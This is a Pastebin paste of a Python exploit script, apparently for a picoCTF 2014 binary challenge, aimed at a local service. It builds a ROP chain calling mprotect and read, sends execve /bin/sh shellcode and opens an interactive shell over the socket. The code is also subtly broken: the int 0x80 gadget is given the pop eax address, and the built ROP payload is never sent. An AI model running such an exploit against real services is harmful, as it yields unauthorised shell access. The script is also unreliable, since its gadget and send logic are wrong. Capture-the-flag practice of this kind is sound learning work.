Advertisement
Guest User

Untitled

a guest
Jan 28th, 2015
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.90 KB | None | 0 0
  1.  
  2. #!/usr/bin/python
  3. import struct
  4. import socket
  5. import telnetlib
  6.  
  7. def pack4(v):
  8.     """
  9.    Takes a 32 bit integer and returns a 4 byte string representing the
  10.    number in little endian.
  11.    """
  12.     assert 0 <= v <= 0xffffffff
  13.     # The < is for little endian, the I is for a 4 byte unsigned int.
  14.     # See https://docs.python.org/2/library/struct.html for more info.
  15.     return struct.pack('<I', v)
  16.  
  17. def unpack4(v):
  18.     """Does the opposite of pack4."""
  19.     assert len(v) == 4
  20.     return struct.unpack('<I', v)[0]
  21.  
  22.  
  23. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  24. #s.connect(('vuln2014.picoctf.com', 4000))
  25. s.connect(('127.0.0.1', 4000))
  26. f = s.makefile('rw', bufsize=0)
  27.  
  28. seed = 0x1e
  29. f.write(pack4(seed))
  30. payload = "A" * 31
  31. """
  32. int 0x80; ret offset found @ pos f0030fa
  33. pop eax; ret found @ pos f000d25
  34. pop ebx; ret found @ pos f0010a4
  35. pop ecx; ret found @ pos f001985
  36. pop edx; ret found @ pos f00107f
  37. """
  38. pop_eax = pack4(0xf000d25)
  39. pop_ebx = pack4(0xf0010a4)
  40. pop_ecx = pack4(0xf001985)
  41. pop_edx = pack4(0xf00107f)
  42. int_80 = pack4(0xf000d25)
  43. ####mprotect
  44. payload += pop_eax
  45. payload += pack4(0x7d) #syscall no of mprotect
  46. payload += pop_ebx
  47. payload += pack4(0xf000000) #buf
  48. payload += pop_ecx
  49. payload += pack4(0x1000 * 10) #size
  50. payload += pop_edx
  51. payload += pack4(7) #perms
  52. payload += int_80
  53.  
  54. ####read
  55. payload += pop_eax
  56. payload += pack4(3) #syscall no of read()
  57. payload += pop_ebx
  58. payload += pack4(0) #stdin
  59. payload += pop_ecx
  60. payload += pack4(0xf000000) #buf
  61. payload += pop_edx
  62. payload += pack4(30) #size of shellcode (buf)
  63. payload += int_80
  64.  
  65. ###trigger payload
  66. push_ebx = pack4(0xf00083f)
  67. payload += pop_ebx
  68. payload += pack4(0xf000000) #addr of shellcode
  69. payload += push_ebx
  70.  
  71. shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
  72. f.write(shellcode)
  73.  
  74. t = telnetlib.Telnet()
  75. t.sock = s
  76. t.interact()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement